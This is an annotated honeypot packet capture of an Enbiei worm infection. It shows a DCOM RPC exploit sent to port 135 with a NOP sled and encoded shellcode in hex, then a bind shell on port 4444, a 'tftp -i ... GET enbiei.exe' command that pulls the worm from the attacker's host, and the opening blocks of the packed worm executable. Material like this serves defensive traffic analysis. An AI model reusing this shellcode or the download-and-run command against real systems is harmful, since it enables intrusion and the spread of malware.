Enbiei Worm !!!
Initial TCP connection against 135 port !!!
01:48:57.704450 XX.XXX.XXX.127.4030 >
XXX.XXX.XX.10.135: S 1847750158:1847750158(0) win 16384 <mss 1460,nop,nop,sackOK>
(DF)
0x0000 4500 0030 93f5 4000 7106 f221 51a8 a87f E..0..@.q..!Q...
0x0010 800a 097f 0fbe 0087 6e22 6e0e 0000 0000 ........n"n.....
0x0020 7002 4000 d2f8 0000 0204 05b4 0101 0402 p.@.............
01:48:57.705433 XXX.XXX.XX.10.135 > XX.XXX.XXX.127.4030: S
3280770858:3280770858(0) ack 1847750159 win 17520 <mss 1460,nop,nop,sackOK> (DF)
0x0000 4500 0030 01b4 4000 8006 7563 800a 097f E..0..@...uc....
0x0010 51a8 a87f 0087 0fbe c38c 972a 6e22 6e0f Q..........*n"n.
0x0020 7012 4470 73c0 0000 0204 05b4 0101 0402 p.Dps...........
01:48:57.890475 XX.XXX.XXX.127.4030 > XXX.XXX.XX.10.135: . ack 1 win 17520 (DF)
0x0000 4500 0028 9402 4000 7106 f21c 51a8 a87f E..(..@.q...Q...
0x0010 800a 097f 0fbe 0087 6e22 6e0f c38c 972b ........n"n....+
0x0020 5010 4470 a084 0000 a000 0000 0000 P.Dp..........
01:49:05.078809 XX.XXX.XXX.127.4030 > XXX.XXX.XX.10.135: P 1:73(72) ack 1 win
17520 (DF)
0x0000 4500 0070 9434 4000 7106 f1a2 51a8 a87f E..p.4@.q...Q...
0x0010 800a 097f 0fbe 0087 6e22 6e0f c38c 972b ........n"n....+
0x0020 5018 4470 574b 0000 0500 0b03 1000 0000 P.DpWK..........
0x0030 4800 0000 7f00 0000 d016 d016 0000 0000 H...............
0x0040 0100 0000 0100 0100 a001 0000 0000 0000 ................
0x0050 c000 0000 0000 0046 0000 0000 045d 888a .......F.....]..
0x0060 eb1c c911 9fe8 0800 2b10 4860 0200 0000 ........+.H`....
01:49:05.081220 XXX.XXX.XX.10.135 > XX.XXX.XXX.127.4030: P 1:61(60) ack 73 win
17448 (DF)
0x0000 4500 0064 01b5 4000 8006 752e 800a 097f E..d..@...u.....
0x0010 51a8 a87f 0087 0fbe c38c 972b 6e22 6e57 Q..........+n"nW
0x0020 5018 4428 2852 0000 0500 0c03 1000 0000 P.D((R..........
0x0030 3c00 0000 7f00 0000 d016 d016 321a 0000 <...........2...
0x0040 0400 3133 3500 0000 0100 0000 0000 0000 ..135...........
0x0050 045d 888a eb1c c911 9fe8 0800 2b10 4860 .]..........+.H`
0x0060 0200 0000 ....
01:49:05.081233 XXX.XXX.XX.10.135 > XX.XXX.XXX.127.4030: P 1:61(60) ack 73 win
17448 (DF)
0x0000 4500 0064 01b5 4000 8006 752e 800a 097f E..d..@...u.....
0x0010 51a8 a87f 0087 0fbe c38c 972b 6e22 6e57 Q..........+n"nW
0x0020 5018 4428 2852 0000 0500 0c03 1000 0000 P.D((R..........
0x0030 3c00 0000 7f00 0000 d016 d016 321a 0000 <...........2...
0x0040 0400 3133 3500 0000 0100 0000 0000 0000 ..135...........
0x0050 045d 888a eb1c c911 9fe8 0800 2b10 4860 .]..........+.H`
0x0060 0200 0000
Malicious packet containting exploit code of DCOM_RPC !!!
....
01:49:05.414126
XX.XXX.XXX.127.4030 > XXX.XXX.XX.10.135: . 73:1533(1460) ack 1 win 17520 (DF)
0x0000 4500 05dc 9435 4000 7106 ec35 51a8 a87f E....5@.q..5Q...
0x0010 800a 097f 0fbe 0087 6e22 6e57 c38c 972b ........n"nW...+
0x0020 5010 4470 9776 0000 0500 0003 1000 0000 P.Dp.v..........
0x0030 a806 0000 e500 0000 9006 0000 0100 0400 ................
0x0040 0500 0600 0100 0000 0000 0000 3224 58fd ............2$X.
0x0050 cc45 6449 b070 ddae 742c 96d2 605e 0d00 .EdI.p..t,..`^..
0x0060 0100 0000 0000 0000 705e 0d00 0200 0000 ........p^......
0x0070 7c5e 0d00 0000 0000 1000 0000 8096 f1f1 |^..............
0x0080 2a4d ce11 a66a 0020 af6e 72f4 0c00 0000 *M...j...nr.....
0x0090 4d41 5242 0100 0000 0000 0000 0df0 adba MARB............
0x00a0 0000 0000 a8f4 0b00 2006 0000 2006 0000 ................
0x00b0 4d45 4f57 0400 0000 a201 0000 0000 0000 MEOW............
0x00c0 c000 0000 0000 0046 3803 0000 0000 0000 .......F8.......
0x00d0 c000 0000 0000 0046 0000 0000 f005 0000 .......F........
0x00e0 e805 0000 0000 0000 0110 0800 cccc cccc ................
0x00f0 c800 0000 4d45 4f57 e805 0000 d800 0000 ....MEOW........
0x0100 0000 0000 0200 0000 0700 0000 0000 0000 ................
0x0110 0000 0000 0000 0000 0000 0000 c428 cd00 .............(..
0x0120 6429 cd00 0000 0000 0700 0000 b901 0000 d)..............
0x0130 0000 0000 c000 0000 0000 0046 ab01 0000 ...........F....
0x0140 0000 0000 c000 0000 0000 0046 a501 0000 ...........F....
0x0150 0000 0000 c000 0000 0000 0046 a601 0000 ...........F....
0x0160 0000 0000 c000 0000 0000 0046 a401 0000 ...........F....
0x0170 0000 0000 c000 0000 0000 0046 ad01 0000 ...........F....
0x0180 0000 0000 c000 0000 0000 0046 aa01 0000 ...........F....
0x0190 0000 0000 c000 0000 0000 0046 0700 0000 ...........F....
0x01a0 6000 0000 5800 0000 9000 0000 4000 0000 `...X.......@...
0x01b0 2000 0000 3803 0000 3000 0000 0100 0000 ....8...0.......
0x01c0 0110 0800 cccc cccc 5000 0000 4fb6 8820 ........P...O...
0x01d0 ffff ffff 0000 0000 0000 0000 0000 0000 ................
0x01e0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0200 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0210 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0220 0110 0800 cccc cccc 4800 0000 0700 6600 ........H.....f.
0x0230 0609 0200 0000 0000 c000 0000 0000 0046 ...............F
0x0240 1000 0000 0000 0000 0000 0000 0100 0000 ................
0x0250 0000 0000 7819 0c00 5800 0000 0500 0600 ....x...X.......
0x0260 0100 0000 70d8 9893 984f d211 a93d be57 ....p....O...=.W
0x0270 b200 0000 3200 3100 0110 0800 cccc cccc ....2.1.........
0x0280 8000 0000 0df0 adba 0000 0000 0000 0000 ................
0x0290 0000 0000 0000 0000 1843 1400 0000 0000 .........C......
0x02a0 6000 0000 6000 0000 4d45 4f57 0400 0000 `...`...MEOW....
0x02b0 c001 0000 0000 0000 c000 0000 0000 0046 ...............F
0x02c0 3b03 0000 0000 0000 c000 0000 0000 0046 ;..............F
0x02d0 0000 0000 3000 0000 0100 0100 81c5 1703 ....0...........
0x02e0 800e e94a 9999 f18a 506f 7a85 0200 0000 ...J....Poz.....
0x02f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0300 0000 0000 0100 0000 0110 0800 cccc cccc ................
0x0310 3000 0000 7800 6e00 0000 0000 d8da 0d00 0...x.n.........
0x0320 0000 0000 0000 0000 202f 0c00 0000 0000 ........./......
0x0330 0000 0000 0300 0000 0000 0000 0300 0000 ................
0x0340 4600 5800 0000 0000 0110 0800 cccc cccc F.X.............
0x0350 1000 0000 3000 2e00 0000 0000 0000 0000 ....0...........
0x0360 0000 0000 0000 0000 0110 0800 cccc cccc ................
0x0370 6800 0000 0e00 ffff 688b 0b00 0200 0000 h.......h.......
0x0380 0000 0000 0000 0000 8601 0000 0000 0000 ................
0x0390 8601 0000 5c00 5c00 4600 5800 4e00 4200 ....\.\.F.X.N.B.
0x03a0 4600 5800 4600 5800 4e00 4200 4600 5800 F.X.F.X.N.B.F.X.
0x03b0 4600 5800 4600 5800 4600 5800 9d13 0001 F.X.F.X.F.X.....
0x03c0 cce0 fd7f cce0 fd7f 9090 9090 9090 9090 ................
0x03d0 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x03e0 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x03f0 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0400 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0410 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0420 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0430 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0440 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0450 9090 9090 9090 9090 9090 9090 9090 9090 ................
0x0460 9090 9090 9090 9090 9090 9090 9090 90eb ................
0x0470 195e 31c9 81e9 89ff ffff 8136 80bf 3294 .^1........6..2.
0x0480 81ee fcff ffff e2f2 eb05 e8e2 ffff ff03 ................
0x0490 5306 1f74 5775 9580 bfbb 927f 895a 1ace S..tWu.......Z..
0x04a0 b1de 7ce1 be32 9409 f93a 6bb6 d79f 4d85 ..|..2...:k...M.
0x04b0 71da c681 bf32 1dc6 b35a f8ec bf32 fcb3 q....2...Z...2..
0x04c0 8d1c f0e8 c841 a6df ebcd c288 3674 907f .....A......6t..
0x04d0 895a e67e 0c24 7cad be32 9409 f922 6bb6 .Z.~.$|..2..."k.
0x04e0 d74c 4c62 ccda 8a81 bf32 1dc6 abcd e284 .LLb.....2......
0x04f0 d7f9 797c 84da 9a81 bf32 1dc6 a7cd e284 ..y|.....2......
0x0500 d7eb 9d75 12da 6a80 bf32 1dc6 a3cd e284 ...u..j..2......
0x0510 d796 8ef0 78da 7a80 bf32 1dc6 9fcd e284 ....x.z..2......
0x0520 d796 39ae 56da 4a80 bf32 1dc6 9bcd e284 ..9.V.J..2......
0x0530 d7d7 dd06 f6da 5a80 bf32 1dc6 97cd e284 ......Z..2......
0x0540 d7d5 ed46 c6da 2a80 bf32 1dc6 9301 6b01 ...F..*..2....k.
0x0550 53a2 9580 bf66 fc81 be32 947f e92a c4d0 S....f...2...*..
0x0560 ef62 d4d0 ff62 6bd6 a3b9 4cd7 e85a 9680 .b...bk...L..Z..
0x0570 ae6e 1f4c d524 c5d3 4064 b4d7 eccd c2a4 .n.L.$..@d......
0x0580 e863 c77f e91a 1f50 d757 ece5 bf5a f7ed .c.....P.W...Z..
0x0590 db1c 1de6 8fb1 78d4 320e b0b3 7f01 5d03 ......x.2.....].
0x05a0 7e27 3f62 42f4 d0a4 af76 6ac4 9b0f 1dd4 ~'?bB....vj.....
0x05b0 9b7a 1dd4 9b7e 1dd4 9b62 19c4 9b22 c0d0 .z...~...b..."..
0x05c0 ee63 c5ea be63 c57f c902 c57f e922 1f4c .c...c.......".L
0x05d0 d5cd 6bb1 4064 980b 7765 6bd6 ..k.@d..wek.
01:49:05.450715 XX.XXX.XXX.127.4030 > XXX.XXX.XX.10.135: P 1533:1777(244) ack 1
win 17520 (DF)
0x0000 4500 011c 9436 4000 7106 f0f4 51a8 a87f E....6@.q...Q...
0x0010 800a 097f 0fbe 0087 6e22 740b c38c 972b ........n"t....+
0x0020 5018 4470 fbd3 0000 93cd c294 ea64 f021 P.Dp.........d.!
0x0030 8f32 9480 3af2 ec8c 3472 980b cf2e 390b .2..:...4r....9.
0x0040 d73a 7f89 3472 a00b 178a 9480 bfb9 51de .:..4r........Q.
0x0050 e2f0 9080 ec67 c2d7 345e b098 3477 a80b .....g..4^..4w..
0x0060 eb37 ec83 6ab9 de98 3468 b483 62d1 a6c9 .7..j...4h..b...
0x0070 3406 1f83 4a01 6b7c 8cf2 38ba 7b46 9341 4...J.k|..8.{F.A
0x0080 703f 9778 54c0 affc 9b26 e161 3468 b083 p?.xT....&.a4h..
0x0090 6254 1f8c f4b9 ce9c bcef 1f84 3431 516b bT..........41Qk
0x00a0 bd01 540b 6a6d cadd e4f0 9080 2fa2 0400 ..T.jm....../...
0x00b0 5c00 4300 2400 5c00 3100 3200 3300 3400 \.C.$.\.1.2.3.4.
0x00c0 3500 3600 3100 3100 3100 3100 3100 3100 5.6.1.1.1.1.1.1.
0x00d0 3100 3100 3100 3100 3100 3100 3100 3100 1.1.1.1.1.1.1.1.
0x00e0 3100 2e00 6400 6f00 6300 0000 0110 0800 1...d.o.c.......
0x00f0 cccc cccc 2000 0000 3000 2d00 0000 0000 ........0.-.....
0x0100 882a 0c00 0200 0000 0100 0000 288c 0c00 .*..........(...
0x0110 0100 0000 0700 0000 0000 0000 ............
01:49:05.457305 XX.XXX.XXX.127.4030 > XXX.XXX.XX.10.135: F 1777:1777(0) ack 1 win
17520 (DF)
0x0000 4500 0028 9437 4000 7106 f1e7 51a8 a87f E..(.7@.q...Q...
0x0010 800a 097f 0fbe 0087 6e22 74ff c38c 972b ........n"t....+
0x0020 5011 4470 9993 0000 9900 0000 0000 P.Dp..........
01:49:05.459630 XXX.XXX.XX.10.135 > XX.XXX.XXX.127.4030: . ack 1777 win 17520
(DF)
0x0000 4500 0028 01b6 4000 8006 7569 800a 097f E..(..@...ui....
0x0010 51a8 a87f 0087 0fbe c38c 9767 6e22 74ff Q..........gn"t.
0x0020 5010 4470 9958 0000 0000 0023 ff53 P.Dp.X.....#.S
01:49:05.459642 XXX.XXX.XX.10.135 > XX.XXX.XXX.127.4030: . ack 1777 win 17520
(DF)
0x0000 4500 0028 01b6 4000 8006 7569 800a 097f E..(..@...ui....
0x0010 51a8 a87f 0087 0fbe c38c 9767 6e22 74ff Q..........gn"t.
0x0020 5010 4470 9958 0000 0000 0023 ff53 P.Dp.X.....#.S
01:49:05.460995 XXX.XXX.XX.10.135 > XX.XXX.XXX.127.4030: . ack 1778 win 17520
(DF)
0x0000 4500 0028 01b7 4000 8006 7568 800a 097f E..(..@...uh....
0x0010 51a8 a87f 0087 0fbe c38c 9767 6e22 7500 Q..........gn"u.
0x0020 5010 4470 9957 0000 0000 0143 ff53 P.Dp.W.....C.S
01:49:05.461005 XXX.XXX.XX.10.135 > XX.XXX.XXX.127.4030: . ack 1778 win 17520
(DF)
0x0000 4500 0028 01b7 4000 8006 7568 800a 097f E..(..@...uh....
0x0010 51a8 a87f 0087 0fbe c38c 9767 6e22 7500 Q..........gn"u.
0x0020 5010 4470 9957 0000 0000 0143 ff53 P.Dp.W.....C.S
01:49:05.464514 XX.XXX.XXX.127.4030 > XXX.XXX.XX.10.135: R
1847751936:1847751936(0) win 0 (DF)
0x0000 4500 0028 9438 4000 7106 f1e6 51a8 a87f E..(.8@.q...Q...
0x0010 800a 097f 0fbe 0087 6e22 7500 c38c 972b ........n"u....+
0x0020 5004 0000 de0f 0000 de00 0000 0000 P.............
A Shell is listening on port 4444 enabled by exploit code !!!
01:49:05.472209 XX.XXX.XXX.127.4043 >
XXX.XXX.XX.10.4444: S 1850182595:1850182595(0) win 16384 <mss
1460,nop,nop,sackOK> (DF)
0x0000 4500 0030 9439 4000 7106 f1dd 51a8 a87f E..0.9@.q...Q...
0x0010 800a 097f 0fcb 115c 6e47 8bc3 0000 0000 .......\nG......
0x0020 7002 4000 a43c 0000 0204 05b4 0101 0402 p.@..<..........
01:49:05.473157 XXX.XXX.XX.10.4444 > XX.XXX.XXX.127.4043: S
3282588348:3282588348(0) ack 1850182596 win 17520 <mss 1460,nop,nop,sackOK> (DF)
0x0000 4500 0030 01b8 4000 8006 755f 800a 097f E..0..@...u_....
0x0010 51a8 a87f 115c 0fcb c3a8 52bc 6e47 8bc4 Q....\....R.nG..
0x0020 7012 4470 8956 0000 0204 05b4 0101 0402 p.Dp.V..........
01:49:05.473168 XXX.XXX.XX.10.4444 > XX.XXX.XXX.127.4043: S
3282588348:3282588348(0) ack 1850182596 win 17520 <mss 1460,nop,nop,sackOK> (DF)
0x0000 4500 0030 01b8 4000 8006 755f 800a 097f E..0..@...u_....
0x0010 51a8 a87f 115c 0fcb c3a8 52bc 6e47 8bc4 Q....\....R.nG..
0x0020 7012 4470 8956 0000 0204 05b4 0101 0402 p.Dp.V..........
01:49:05.643729 XX.XXX.XXX.127.4030 > XXX.XXX.XX.10.135: R
1847751935:1847751935(0) win 0
0x0000 4500 0028 943a 0000 7106 31e5 51a8 a87f E..(.:..q.1.Q...
0x0010 800a 097f 0fbe 0087 6e22 74ff 6e22 74ff ........n"t.n"t.
0x0020 5004 0000 55a7 0000 5500 0000 0000 P...U...U.....
01:49:05.655776 XX.XXX.XXX.127.4030 > XXX.XXX.XX.10.135: R
1847751936:1847751936(0) win 0
0x0000 4500 0028 943b 0000 7106 31e4 51a8 a87f E..(.;..q.1.Q...
0x0010 800a 097f 0fbe 0087 6e22 7500 6e22 7500 ........n"u.n"u.
0x0020 5004 0000 55a5 0000 5500 0000 0000 P...U...U.....
01:49:05.662544
XX.XXX.XXX.127.4043 > XXX.XXX.XX.10.4444: . ack 1 win 17520 (DF)
0x0000 4500 0028 943c 4000 7106 f1e2 51a8 a87f E..(.<@.q...Q...
0x0010 800a 097f 0fcb 115c 6e47 8bc4 c3a8 52bd .......\nG....R.
0x0020 5010 4470 b61a 0000 b600 0000 0000 P.Dp..........
01:49:05.696542 XXX.XXX.XX.10.4444 > XX.XXX.XXX.127.4043: P 1:40(39) ack 1 win
17520 (DF)
0x0000 4500 004f 01b9 4000 8006 753f 800a 097f E..O..@...u?....
0x0010 51a8 a87f 115c 0fcb c3a8 52bd 6e47 8bc4 Q....\....R.nG..
0x0020 5018 4470 cad8 0000 4d69 6372 6f73 6f66 P.Dp....Microsof
0x0030 7420 5769 6e64 6f77 7320 5850 205b 5665 t.Windows.XP.[Ve
0x0040 7273 696f 6e20 352e 312e 3236 3030 5d rsion.5.1.2600]
01:49:05.696555 XXX.XXX.XX.10.4444 > XX.XXX.XXX.127.4043: P 1:40(39) ack 1 win
17520 (DF)
0x0000 4500 004f 01b9 4000 8006 753f 800a 097f E..O..@...u?....
0x0010 51a8 a87f 115c 0fcb c3a8 52bd 6e47 8bc4 Q....\....R.nG..
0x0020 5018 4470 cad8 0000 4d69 6372 6f73 6f66 P.Dp....Microsof
0x0030 7420 5769 6e64 6f77 7320 5850 205b 5665 t.Windows.XP.[Ve
0x0040 7273 696f 6e20 352e 312e 3236 3030 5d rsion.5.1.2600]
Attacked honeypot is instructed to download Enbiei worm !!!
01:49:05.782853 XX.XXX.XXX.127.4043 >
XXX.XXX.XX.10.4444: P 1:40(39) ack 1 win 17520 (DF)
0x0000 4500 004f 943d 4000 7106 f1ba 51a8 a87f E..O.=@.q...Q...
0x0010 800a 097f 0fcb 115c 6e47 8bc4 c3a8 52bd .......\nG....R.
0x0020 5018 4470 46cb 0000 7466 7470 202d 6920 P.DpF...tftp.-i.
0x0030 3831 2e31 3638 2e31 3638 2e31 3237 2047 XX.XXX.XXX.127.G
0x0040 4554 2065 6e62 6965 692e 6578 6520 0a ET.enbiei.exe..
01:49:05.784309 XXX.XXX.XX.10.4444 > XX.XXX.XXX.127.4043: P
40:105(65) ack 40 win 17481 (DF)
0x0000 4500 0069 01ba 4000 8006 7524 800a 097f E..i..@...u$....
0x0010 51a8 a87f 115c 0fcb c3a8 52e4 6e47 8beb Q....\....R.nG..
0x0020 5018 4449 2133 0000 0d0a 2843 2920 436f P.DI!3....(C).Co
0x0030 7079 7269 6768 7420 3139 3835 2d32 3030 pyright.1985-200
0x0040 3120 4d69 6372 6f73 6f66 7420 436f 7270 1.Microsoft.Corp
0x0050 2e0d 0a0d 0a43 3a5c 5749 4e44 4f57 535c .....C:\WINDOWS\
0x0060 7379 7374 656d 3332 3e system32>
01:49:05.784320 XXX.XXX.XX.10.4444 > XX.XXX.XXX.127.4043: P 40:105(65) ack 40 win
17481 (DF)
0x0000 4500 0069 01ba 4000 8006 7524 800a 097f E..i..@...u$....
0x0010 51a8 a87f 115c 0fcb c3a8 52e4 6e47 8beb Q....\....R.nG..
0x0020 5018 4449 2133 0000 0d0a 2843 2920 436f P.DI!3....(C).Co
0x0030 7079 7269 6768 7420 3139 3835 2d32 3030 pyright.1985-200
0x0040 3120 4d69 6372 6f73 6f66 7420 436f 7270 1.Microsoft.Corp
0x0050 2e0d 0a0d 0a43 3a5c 5749 4e44 4f57 535c .....C:\WINDOWS\
0x0060 7379 7374 656d 3332 3e system32>
Downloading Enbiei worm !!!
01:49:05.827951
XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 19 RRQ "enbiei.exe"
0x0000 4500 002f 01bb 0000 8011 b552 800a 097f E../.......R....
0x0010 51a8 a87f 040c 0045 001b da51 0001 656e Q......E...Q..en
0x0020 6269 6569 2e65 7865 006f 6374 6574 00 biei.exe.octet.
01:49:05.827965 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 19 RRQ "enbiei.exe"
0x0000 4500 002f 01bb 0000 8011 b552 800a 097f E../.......R....
0x0010 51a8 a87f 040c 0045 001b da51 0001 656e Q......E...Q..en
0x0020 6269 6569 2e65 7865 006f 6374 6574 00 biei.exe.octet.
01:49:05.977152 XX.XXX.XXX.127.4043 > XXX.XXX.XX.10.4444: . ack 40 win 17481 (DF)
0x0000 4500 0028 943e 4000 7106 f1e0 51a8 a87f E..(.>@.q...Q...
0x0010 800a 097f 0fcb 115c 6e47 8beb c3a8 52e4 .......\nG....R.
0x0020 5010 4449 b5f3 0000 b500 0000 0000 P.DI..........
01:49:05.978184 XXX.XXX.XX.10.4444 > XX.XXX.XXX.127.4043: P 105:144(39) ack 40
win 17481 (DF)
0x0000 4500 004f 01bc 4000 8006 753c 800a 097f E..O..@...u<....
0x0010 51a8 a87f 115c 0fcb c3a8 5325 6e47 8beb Q....\....S%nG..
0x0020 5018 4449 4663 0000 7466 7470 202d 6920 P.DIFc..tftp.-i.
0x0030 3831 2e31 3638 2e31 3638 2e31 3237 2047 XX.XXX.XXX.127.G
0x0040 4554 2065 6e62 6965 692e 6578 6520 0a ET.enbiei.exe..
01:49:05.978194 XXX.XXX.XX.10.4444 > XX.XXX.XXX.127.4043: P 105:144(39) ack 40
win 17481 (DF)
0x0000 4500 004f 01bc 4000 8006 753c 800a 097f E..O..@...u<....
0x0010 51a8 a87f 115c 0fcb c3a8 5325 6e47 8beb Q....\....S%nG..
0x0020 5018 4449 4663 0000 7466 7470 202d 6920 P.DIFc..tftp.-i.
0x0030 3831 2e31 3638 2e31 3638 2e31 3237 2047 XX.XXX.XXX.127.G
0x0040 4554 2065 6e62 6965 692e 6578 6520 0a ET.enbiei.exe..
01:49:06.158445 XX.XXX.XXX.127.69 > XXX.XXX.XX.10.1036: 516 DATA block 1
0x0000 4500 0220 943f 0000 7111 2fdd 51a8 a87f E....?..q./.Q...
0x0010 800a 097f 0045 040c 020c 75e9 0003 0001 .....E....u.....
0x0020 4d5a 9000 0300 0000 0400 0000 ffff 0000 MZ..............
0x0030 b800 0000 0000 0000 4000 0000 0000 0000 ........@.......
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050 0000 0000 0000 0000 0000 0000 8000 0000 ................
0x0060 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468 ........!..L.!Th
0x0070 6973 2070 726f 6772 616d 2063 616e 6e6f is.program.canno
0x0080 7420 6265 2072 756e 2069 6e20 444f 5320 t.be.run.in.DOS.
0x0090 6d6f 6465 2e0d 0d0a 2400 0000 0000 0000 mode....$.......
0x00a0 5045 0000 4c01 0500 2a7c 373f 0000 0000 PE..L...*|7?....
0x00b0 0000 0000 e000 0f01 0b01 0237 0020 0000 ...........7....
0x00c0 0010 0000 0050 0000 0190 0000 0060 0000 .....P.......`..
0x00d0 0080 0000 0000 4000 0010 0000 0002 0000 ......@.........
0x00e0 0100 0000 0000 0000 0400 0000 0000 0000 ................
0x00f0 00c0 0000 0006 0000 0000 0000 0200 0000 ................
0x0100 0000 1000 0010 0000 0000 1000 0010 0000 ................
0x0110 0000 0000 1000 0000 0000 0000 0000 0000 ................
0x0120 ac9f 0000 0001 0000 0000 0000 0000 0000 ................
0x0130 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0140 549f 0000 0800 0000 0000 0000 0000 0000 T...............
0x0150 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0160 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0170 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0180 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0190 0000 0000 0000 1000 336e 6269 3369 0000 ........3nbi3i..
0x01a0 0050 0000 0010 0000 0000 0000 0006 0000 .P..............
0x01b0 0000 0000 0000 0000 0000 0000 4000 00c0 ............@...
0x01c0 6e32 6569 0000 0000 0020 0000 0060 0000 n2ei.........`..
0x01d0 0014 0000 0006 0000 0000 0000 0000 0000 ................
0x01e0 0000 0000 4000 00c0 5550 5832 0000 0000 ....@...UPX2....
0x01f0 0010 0000 0080 0000 0002 0000 001a 0000 ................
0x0200 0000 0000 0000 0000 0000 0000 4000 00c0 ............@...
0x0210 2e65 6e62 6965 6900 0020 0000 0090 0000 .enbiei.........
01:49:06.159806 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 1
0x0000 4500 0020 01bd 0000 8011 b55f 800a 097f E.........._....
0x0010 51a8 a87f 040c 0045 000c 77cf 0004 0001 Q......E..w.....
0x0020 5018 400c 2e0e 0000 0000 0023 ff53 P.@........#.S
01:49:06.159817 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 1
0x0000 4500 0020 01bd 0000 8011 b55f 800a 097f E.........._....
0x0010 51a8 a87f 040c 0045 000c 77cf 0004 0001 Q......E..w.....
0x0020 5018 400c 2e0e 0000 0000 0023 ff53 P.@........#.S
01:49:06.171315 XX.XXX.XXX.127.4043 > XXX.XXX.XX.10.4444: . ack 144 win 17377
(DF)
0x0000 4500 0028 9440 4000 7106 f1de 51a8 a87f E..(.@@.q...Q...
0x0010 800a 097f 0fcb 115c 6e47 8beb c3a8 534c .......\nG....SL
0x0020 5010 43e1 b5f3 0000 b500 0000 0000 P.C...........
01:49:07.064792 XX.XXX.XXX.127.69 > XXX.XXX.XX.10.1036: 516 DATA block 2
0x0000 4500 0220 9448 0000 7111 2fd4 51a8 a87f E....H..q./.Q...
0x0010 800a 097f 0045 040c 020c 4ea7 0003 0002 .....E....N.....
0x0020 0012 0000 001c 0000 0000 0000 0000 0000 ................
0x0030 0000 0000 4000 00c0 2e61 6461 7461 0000 ....@....adata..
0x0040 0010 0000 00b0 0000 0000 0000 002e 0000 ................
0x0050 0000 0000 0000 0000 0000 0000 4000 00c0 ............@...
0x0060 fe68 0010 4000 64ff 3515 ffdb ddb9 0689 .h..@.d.5.......
0x0070 2519 208b 582f 700c 83fe ff74 203b 747f %...X/p....t.;t.
0x0080 d9dc ff24 2474 1a8d 3476 8b0c b354 1748 ...$$t..4v...T.H
0x0090 7cb3 0400 75d7 77ff bfff ff54 b308 ebd1 |...u.w....T....
0x00a0 648f 0535 83c4 0c5f 5e5b c355 89e5 5c55 d..5..._^[.U..\U
0x00b0 6a00 befb ef6e 0168 925a ff75 08e8 0100 j....n.h.Z.u....
0x00c0 1340 5d1c 89ec 5dc3 fc7b fbff ee20 83ec .@]...]..{......
0x00d0 0823 8b5d 0c8b 4508 a330 4025 891d 3405 .#.]..E..0@%..4.
0x00e0 7b6b 3fb6 f740 ae75 7289 45f8 19ac 45fc {k?..@.ur.E...E.
0x00f0 a316 fb77 fbed 8d0d 8943 fc8b 732d 7b08 ...w.....C..s-{.
0x0100 9162 8d0c 7681 eed6 fe65 8f74 3a56 558d .b..v....e.t:VU.
0x0110 6b10 860b 5d5e 4d5b b6d6 fd09 c074 2878 k...]^M[.....t(x
0x0120 3125 5372 9176 041d f7bb 65ac 560c 1c08 1%Sr.v....e.V...
0x0130 368b 048f 8b43 0c30 bf0b ff5c 0825 0f34 6....C.0...\.%.4
0x0140 8feb ac2c eb71 476a ff76 dddb 612a 0cbc ...,.qGj.v..a*..
0x0150 c705 107a 0b8e 6a0b 73d8 cdec 4014 185f ...z..j.s...@.._
0x0160 7521 1908 b7ef 0ec8 0807 b83b 00eb 2783 u!.........;..'.
0x0170 f8a1 2a50 2e1b f60a 5024 1e0d 00ba 0f21 ..*P....P$.....!
0x0180 e694 280f 833d 2c1a 00cf dede c33e e8a1 ..(..=,......>..
0x0190 0e72 ffe0 5810 d764 a1dd 0c87 a15d 359e .r..X..d.....]5.
0x01a0 681c 1b55 b310 8466 9a50 aa49 1023 b8ff h..U...f.P.I.#..
0x01b0 7f89 65e8 50d9 3c24 6681 0c24 0003 d92c ..e.P.<$f..$...,
0x01c0 2463 7f28 5e7b f67d 2e24 0420 7e13 a089 $c.(^{.}.$..~...
0x01d0 14cf b617 d905 2416 4814 1c12 50d7 f1f7 ......$.H...P...
0x01e0 6f37 1831 c989 4dfc 502a b8c9 c311 a365 o7.1..M.P*.....e
0x01f0 8737 c7df c37e 81ec ac3a 6c31 f66a 91ef .7...~...:l1.j..
0x0200 8eb9 bb50 5f3f 000f 666a 5d48 6502 0000 ...P_?..fj]He...
0x0210 809e 1ddf 3f88 6a32 683c c601 0449 48f8 ....?.j2h<...IH.
01:49:07.065883 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 2
0x0000 4500 0020 01be 0000 8011 b55e 800a 097f E..........^....
0x0010 51a8 a87f 040c 0045 000c 77ce 0004 0002 Q......E..w.....
0x0020 7012 4470 5721 0000 0204 05b4 0101 p.DpW!........
01:49:07.065894 XXX.XXX.XX.10.1036 > XX.XXX.XXX.127.69: 4 ACK block 2
0x0000 4500 0020 01be 0000 8011 b55e 800a 097f E..........^....
0x0010 51a8 a87f 040c 0045 000c 77ce 0004 0002 Q......E..w.....
0x0020 7012 4470 5721 0000 0204 05b4 0101 p.DpW!........
01:49:07.974278 XX.XXX.XXX.127.69 > XXX.XXX.XX.10.1036: 516 DATA block 3
0x0000 4500 0220 944b 0000 7111 2fd1 51a8 a87f E....K..q./.Q...
0x0010 800a 097f 0045 040c 020c 73ce 0003 0003 .....E....s.....
0x0020 0000 0000 0000 0000 0000 0000 0000 0000 ................
